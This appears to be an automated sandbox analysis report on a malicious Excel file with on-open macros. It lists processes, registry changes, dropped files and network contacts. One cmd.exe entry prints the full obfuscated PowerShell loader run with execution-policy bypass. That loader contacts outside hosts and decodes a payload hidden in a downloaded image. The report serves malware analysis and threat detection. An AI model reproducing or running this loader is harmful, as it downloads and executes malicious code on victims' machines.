File name:

doc_SPA_(25)_(2019-03-18 n._776).xls

Full analysis: https://app.any.run/tasks/93a943e0-59b5-4227-875f-79b3722f7e5a
Verdict: Malicious activity
Analysis date: March 21, 2019, 11:06:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
maldoc-5
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: copy; utente, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Mar 7 12:12:20 2019, Last Saved Time/Date: Mon Mar 11 08:22:01 2019, Security: 0
MD5:

E10595514FBD9225D4D3BB01470BF1E1

SHA1:

5E7A99894AC4FBA1E1755F076A4ED3A8B4706304

SHA256:

B1A0CC703BED0F205830881B98CC4803D8B6E37F5918B231CBE91F4CC7E16547

SSDEEP:

1536:wn1DN3aMePUKccCEW8yjJTdrBX/3t4k3hOdsylKlgryzc4bNhZFGzE+cL4LgldAC:wn1DN3aM+UKccCEW8yjJTdrBX/3t4k3q

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3008)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 944)
      • cmd.exe (PID: 2256)

    • Creates files in the user directory

      • powershell.exe (PID: 2500)

  • INFO

    • Changes settings of System certificates

      • pingsender.exe (PID: 1824)
      • pingsender.exe (PID: 948)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1980)

    • Adds / modifies Windows certificates

      • pingsender.exe (PID: 948)
      • pingsender.exe (PID: 1824)

    • Creates files in the user directory

      • firefox.exe (PID: 3556)

    • Application launched itself

      • firefox.exe (PID: 3556)

    • Reads CPU info

      • firefox.exe (PID: 3556)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: copy; utente
Software: Microsoft Excel
CreateDate: 2019:03:07 12:12:20
ModifyDate: 2019:03:11 08:22:01
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Microsoft
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 2019'marzo
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
52
Monitored processes
17
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe csc.exe cvtres.exe no specs firefox.exe firefox.exe no specs firefox.exe firefox.exe firefox.exe firefox.exe firefox.exe firefox.exe pingsender.exe pingsender.exe

Process information

PID
CMD
Path
Indicators
Parent process
332"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.0.1158602162\1803003547" -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - "C:\Users\admin\AppData\LocalLow\Mozilla\Temp-{ce348e4c-7d33-445e-89f9-60108c51bcaf}" 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 1108 gpuC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
1
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
688"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.27.688319857\1063737786" -childID 4 -isForBrowser -prefsHandle 3248 -prefMapHandle 3288 -prefsLen 5824 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 3292 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
944CMd.exe /C "set uEo=$k4r5 = " ))93]RahC[]GnIRtS[,)88]RahC[+96]RahC[+99]RahC[((EcalPER.)'))43]rAhc[,XEcRpiXEc ECalPERc-93]rAhc[,)09]rAhc[+96]rAhc[+35]rAhc[( ECaLpEr- 69]rAhc[,XEcIfQXEc'+'EC'+'alPERc- 63]rAhc'+'[,'+'XEcAwJXEcECalPERc-421]rAhc[,)65]rAhc[+701]rAhc[+601]rAhc[( ECalPERc-)XEc))]4394..XEc+XEc0[}o{AwJ(gniRTsTeG.8ftu::]gnidocnE.'+'txeT.metsyS[()ZE5mMZE5,ZE5uZE5f-XEc+XEc Rpi}XEc+XEc0{}1{RpXEc+XEci(.;)(raELc.}rOIfQRIfQXEc+XEcRE{'+'Aw'+'J;)ZE5jMZE5(.;}}))51XEc+XEc dnab- G.}P{AwJ(rob-'+')61*)51dnab-B.}P{AwJ((RoXEc+XEcolF::]htam[(=]}x{AwJ+064XEc+XEc*}_{AwJ[}o{AwJ;)}_{AwJ,}XEc+XEcx{AwJ(lEXiPXEc+XEctEg.}g{A'+'wJ=}P{AwJ{)XEc+XEc)954..0(ni XEc+XEc}X{AwJ(hcaerof{)ZE5%ZE5(.8kj)01..0(;0605 )ZE5etZE5,ZE5yBZEXEc+XEc5,ZE5][ZE5 fXEc+XEc- Rpi}0{}2{}1{Rpi( )ZE5aZE5(&=}oXEc+XEc{AXEc+XEcwJ;}{hctaC}})(Et'+'yBDAeR.}RW{AwJ]rahC[=+}SEIfQr{AwJ{)1(elXEc+XEcihWXEc+XEc{yrT;ZE5Z'+'E5=}seIfQr{AwJ;}tixe{hctaC}))}lRIfQu{AwJ(EkovNi.}XEc+XEcRo{AwJ.}Rw{AwJ()ZE5ySZXEc+XEcE5,ZEXEc+XEc5pamtiB.'+'ZE5,ZE5nZE5,ZE5iwarD.meXEc+XEcZE5,ZE5gZE5,ZE5tsZE5 f-'+' Rpi}4{}1{}3{}2{}'+'0{}5{Rpi( )XEc+XEcZE5aZE5XEc+XEc(&=}gXEc+XEc{AwJ{yrt;)'+'ZE5daeRnepZE5XEc+XEc,ZE5OZE5 f-Rpi}1{}0{R'+'pi(=}RXEc+XEcIfQO{AwJ;)}cW'+'{AwJ )ZE5aZE5(&(=}rw{AwJ;)ZE5jMZE5(.;)ZE5SZ'+'E5,ZE5tsyZEXEc+XEc5,ZE5XEc+XEcaZE5,ZE5gniwZE5XEc+XEc,ZE5rD.meZE5 f-Rpi}1{}2'+'{}0{}3XEc+XEc{}4{Rpi( emaNylbmessA- )ZE5'+'dAZE5,ZE5T-dZE5,ZE5epyZE5 f-Rpi}0{}1{}2{Rpi(.;)ZE5ejbO-'+'weZE5,ZE5NZE5,ZE5tcZE5f- Rpi}0XEc+XEc{}2{}1{Rpi( )ZE5aZE5( )ZE5asZE5,ZE'+'5lZE5f- RpiXEc+XEc}0{}1{RpXEc+X'+'Eci(.;)ZE5dZE5,ZE5miZE5,ZXEc+XEcE531/moc.xoZE5,ZE5bgZE5,ZE5mi//ZE5,ZE5/ZE5,ZE5_RW0Q9aZE5,ZE5u/ZE5,ZE5np.oZE5,ZE5aZE5,ZE56bZXEc+XEcE5,ZE5gZE5,ZE5.2segZE5,ZE5:spZE5 f-RpiXEc+XEc}2{}5{}7{}31{}6{}3{}8{}11{}01{}2XEc+XEc1{}'+'1{}4{}9{}'+'0{Rpi(+}OIfQr{AwJ+}Or{AwJ+RpihRpi=}LRIfQu{AwJ;)ZE5tneZE5,ZXEc'+'+XEcE5eW.teNZE5,ZE5iZXEc+XEcE5,ZE5lCbZE5f-Rpi}3{}1{}0{}2{Rpi(=}CW{AwJ;})ZE5ZE5 niXEc+XEcoJ-XEc+XEc }qD{AwJ( )ZE5IZE5,ZXEc+XEcE5xeZE5 f- RpXEc'+'+XEci}0XEc+XEc'+'{}1{Rpi(&;}))6XEc+XEc1,}_{AwJ(61tnIoT::]trevnoC.metsy'+'S[(]rahc[{)ZE5%ZE5(. 8kj)s'+'EiRtNeyTPmeevOMEr::]snoitpO'+'tilpS'+'gnirtS.metsyS[,Rpi8kjRpi(tILpSXEc+XEc.}IiIfQIS{AwJ = }QIfQXEc+XEcd{AwJ;}R'+'pi8kjRpi+))Rpi8kjRpXEc+XEci,2(TresnI.}QAIfQb{AwJ(=+}IIIfQIs{AwJ;}}qXEc+XEcAIfQB{AwJ+Rpi0RXEc+'+'XEcpi= }qAIfQb'+'XEc+XEc{AwJ{)4 tl- HtXEc+XEcGNeL.}qAIfQB{AwXEc+XEcJ(fi;)61,}EdIfQoXEc+XEccIIfQNU{AwJ('+'gnIrtsOt::]trevnoC.'+'metsyS[ = }qAI'+'fQXEc+XEcB{AwJ{)}FIfQb{Aw'+'J ni XEc+X'+'E'+'c}e'+'DOIfQCIfQiNu{AwJ(hcaerof;RpiRpi=}XEc+XEciIIIfQs'+'{AwJ;}}_{AwJ]rahc[]46tni[XEc+XEc{)ZE5%XEc+XEcZE5(. 8kj)(YarrAXEc+XEcRAhCO'+'T.}GG'+'IfQG{AwJ = }FIfQb{AwJ{)XEc+XEc}GgIXEc+XEcfQG{AwJ('+' UmIfQM noitcnuf;]1[))'+'(eA::]ae[(=}oR{AwJ;RXEc+XEcpi}};emaN.erutluCtnerruCXEc+XEc.ofnIerut'+'luC.noitazilabolXEc+XEcG.metsyS n'+'ruter{)(ea gnirts citats cilbup{ ae ssalc c'+'ilbup;metsyS gnisuRXEc+XEcpi fedepyt- )ZE5epZE5,ZE5ddAZE5,ZE5yT-ZE5 f- Rpi}2{}0{}1{Rpi(.;)ZE5jMZE5(.;}}7 s- )ZE5atSZE5,Z'+'E5-tZE5,ZE5rZE5,ZE5peelSZE5f-XEc+XEcRpi}0{}2{}1{}3{Rpi(&;)(ESNOPSErTeG.}yIfQr{AwJ = }AIfQr{AwJ;XEc+XEc)ZE5HZ'+'E5,ZE5DAEZE5 f- Rpi}0{}1{Rpi( = DOh'+'teM.}YXEc'+'+XEcIfQR{AwJ;)}XIfQz{AwXEc+XEcJ+)ZE5ptZE5,ZEXEc+XEc5thZE5,ZE5//:ZE5 f-Rpi}0{}2{}1{Rpi((ETAErC::XEc+XEc]'+'tseuqeRbeW.teN.metsy'+'S['+' = }YIfQr{XEc+XEcAwJ;)ZE5.ZE5,ZE5mocZE5XEc+XEc f- Rpi}0{}1{Rpi(+)4 )ZE5vZE5,ZE5v'+'aZE5 f'+'-XEc+XEcR'+'pi}1{}0{Rpi(.(XEc+X'+'Ec=}xZ{AwJ{ )++}i{AwJ ;1 tlXEc+XEc- XEc+XEc}I{AwJ XEc+XEc;0 =XEc+XEc }i{AwJ( rof{ jm noitcnuf;}}hTIfQGnEl{AwJ }la{AwJ )ZE5GZE5,ZE5EeZE5XEc+XE'+'cf'+'-Rpi}0{}1{Rpi(&;)Z'+'E5mlkjihgfedcbaZE5,ZE5xZEXEc+XEc5,ZE5zyZE5,ZE5srqpZE5,ZE5wv'+'utZE5,ZE5onZE5f- XEc+'+'XEcRpi}3{}4{}1{}2{}0{}5{Rpi( = }lIfQa{AwJ;)1 ='+' }HTg'+'NEIfQL{AwJ]tni[( marap{ vVIfQA '+'noitcnuf;)ZE5neliSZE5,ZE5oC'+'ZE5,ZE5yltZE5,ZE5euZE5,ZE5nitnZEXEc+XEc5'+' f- Rpi}1{}0XEc+XEc{}3{}2{}4'+'{Rpi( = }eCneIfQrEIfQFerpnoiIfQTCIfQARORRE{AwJ;}'+'ZE5ZE5 nioj- )}])}XAIfQm{AwJ mumix'+'aM- 0'+' muminiM- )ZE5moZE5,ZE5aR-teZE5,ZE5GZE5,ZE5dnZE5 f-Rpi}3{}0{}2{}1{Rpi(&([}tSIIf'+'Ql{AwXEc+XEcJ{)++}i{AwJ ;}hTgIfQNeIfQL{AwJ tl- }IXEc+XEc{AwJ ;0 = }I{AwJ( rof(AwJ'+';H'+'TgNEl.}tSIIfQl{AwJ XEc+XEc= }XAIfQXEc+XEcM{AwJ)1 = }HTIfQGIfQNEL{AwJ]tni[,}XEc+'+'XEcTSIfQIl{AwJ( marap{ EeXEc+XEcIfQG noitcnufXEc(( ()XEcXEcNioJ-]2,11,3[emAn.)XEc*RDM*XEc ELbAiRAV(( .'( ( )'X'+]43[emOHSp$+]12[emOhSp$ ( & "; ^& ((GV '*mdr*').NAMe[3,11,2]-JoIn'')( (Ls variABlE:k4R5 ).vAlue[ -1 ..- ( (Ls variABlE:k4R5 ).vAlue.lEngTh )]-JOIn '' ) &&SeT TRS=PoWERShell -NOPRoFI -w 1 -EXEcuTiOnP BYPass -nOniNterAcTi sV s3zxl5 ( [typE]( \"{1}{0}{2}\" -f'ViRO','en','NmeNt') ) ; ( ( VARIaBle S3ZXl5 -Va )::(\"{1}{0}{3}{4}{2}\"-f 'V','geten','e','iRONmeNTv','ARIAbL' ).Invoke( 'uEO',( \"{2}{1}{0}\" -f 'S','ocES','pR' )) ) ^^^|. ( ${e`Nv:c`oM`sPEC}[4,26,25]-JOin'' )&& CMd /C %trs%"C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
948"C:\Program Files\Mozilla Firefox\pingsender.exe" https://incoming.telemetry.mozilla.org/submit/telemetry/effbaa3c-9770-4e8f-9d83-78bc26ee857c/main/Firefox/65.0.2/release/20190225143501?v=4 C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\saved-telemetry-pings\effbaa3c-9770-4e8f-9d83-78bc26ee857cC:\Program Files\Mozilla Firefox\pingsender.exe
firefox.exe
User:
admin
Company:
Mozilla Foundation
Integrity Level:
MEDIUM
Exit code:
0
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\pingsender.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
968C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7F74.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7F73.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll
1164"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.34.2138325290\1938815058" -childID 5 -isForBrowser -prefsHandle 1924 -prefMapHandle 3404 -prefsLen 5824 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 3392 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
1428"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.6.576944363\1359909003" -childID 1 -isForBrowser -prefsHandle 1732 -prefMapHandle 1728 -prefsLen 1 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 1584 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
1444"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3556.20.1269714369\42234896" -childID 3 -isForBrowser -prefsHandle 2112 -prefMapHandle 2412 -prefsLen 5094 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3556 "\\.\pipe\gecko-crash-server-pipe.3556" 2520 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
1824"C:\Program Files\Mozilla Firefox\pingsender.exe" https://incoming.telemetry.mozilla.org/submit/telemetry/a7e56e98-745e-498b-830f-305967cc7e67/health/Firefox/65.0.2/release/20190225143501?v=4 C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\saved-telemetry-pings\a7e56e98-745e-498b-830f-305967cc7e67C:\Program Files\Mozilla Firefox\pingsender.exe
firefox.exe
User:
admin
Company:
Mozilla Foundation
Integrity Level:
MEDIUM
Exit code:
0
Version:
65.0.2
Modules
Images
c:\program files\mozilla firefox\pingsender.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dbghelp.dll
1980"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
1 758
Read events
1 624
Write events
123
Delete events
11

Modification events

(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:k)0
Value:
6B293000BC070000010000000000000000000000
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
BC0700002C09BE20D6DFD40100000000
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:k)0
Value:
6B293000BC070000010000000000000000000000
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(1980) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F8DD0
Operation:writeName:F8DD0
Value:
04000000BC0700004600000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0064006F0063005F005300500041005F0028003200350029005F00280032003000310039002D00300033002D003100380020006E002E005F0037003700360029002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000040F3C821D6DFD401D08D0F00D08D0F0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
0
Suspicious files
66
Text files
34
Unknown types
46

Dropped files

PID
Process
Filename
Type
1980EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR894B.tmp.cvr —
MD5:—
SHA256:—
2500powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJY4QT9RZ4T9893JNI88.temp —
MD5:—
SHA256:—
2500powershell.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.0.cs —
MD5:—
SHA256:—
2500powershell.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.cmdline —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\CSC7F73.tmp —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.pdb —
MD5:—
SHA256:—
968cvtres.exeC:\Users\admin\AppData\Local\Temp\RES7F74.tmp —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.dll —
MD5:—
SHA256:—
3028csc.exeC:\Users\admin\AppData\Local\Temp\f1ka_osi.out —
MD5:—
SHA256:—
3556firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs-1.js —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
31
DNS requests
83
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2500
powershell.exe
HEAD
200
184.168.131.241:80
http://kekm.com/
US
—
—
malicious
2500
powershell.exe
HEAD
200
119.28.4.89:80
http://rhxr.com/
CN
—
—
unknown
3556
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
POST
200
216.58.205.227:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3556
firefox.exe
GET
302
172.217.23.163:80
http://www.google.it/
US
html
230 b
whitelisted
3556
firefox.exe
GET
200
2.16.186.112:80
http://detectportal.firefox.com/success.txt
unknown
text
8 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2500
powershell.exe
119.28.4.89:80
rhxr.com
Tencent Cloud Computing (Beijing) Co., Ltd
CN
unknown
3556
firefox.exe
2.16.186.112:80
detectportal.firefox.com
Akamai International B.V.
—
whitelisted
3556
firefox.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3556
firefox.exe
172.217.22.42:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
3556
firefox.exe
104.16.41.2:443
www.mozilla.org
Cloudflare Inc
US
shared
3556
firefox.exe
172.217.23.163:80
www.google.it
Google Inc.
US
whitelisted
3556
firefox.exe
34.211.202.13:443
shavar.services.mozilla.com
Amazon.com, Inc.
US
unknown
3556
firefox.exe
172.217.23.163:443
www.google.it
Google Inc.
US
whitelisted
3556
firefox.exe
172.217.22.14:443
consent.google.com
Google Inc.
US
whitelisted
3556
firefox.exe
172.217.18.100:443
www.google.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
rhxr.com
  • 119.28.4.89
unknown
kekm.com
  • 184.168.131.241
malicious
detectportal.firefox.com
  • 2.16.186.112
  • 2.16.186.50
whitelisted
a1089.dscd.akamai.net
  • 2.16.186.50
  • 2.16.186.112
whitelisted
search.services.mozilla.com
  • 52.88.150.81
  • 35.166.112.39
  • 34.213.175.109
whitelisted
search.r53-2.services.mozilla.com
  • 34.213.175.109
  • 35.166.112.39
  • 52.88.150.81
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
cs9.wac.phicdn.net
  • 93.184.220.29
whitelisted
tiles.services.mozilla.com
  • 35.160.41.125
  • 35.164.130.113
  • 34.208.7.98
  • 34.214.20.242
  • 52.26.103.165
  • 35.164.197.9
  • 35.165.22.140
  • 52.25.148.139
whitelisted
tiles.r53-2.services.mozilla.com
  • 52.25.148.139
  • 35.165.22.140
  • 35.164.197.9
  • 52.26.103.165
  • 34.214.20.242
  • 34.208.7.98
  • 35.164.130.113
  • 35.160.41.125
whitelisted

Threats

No threats detected
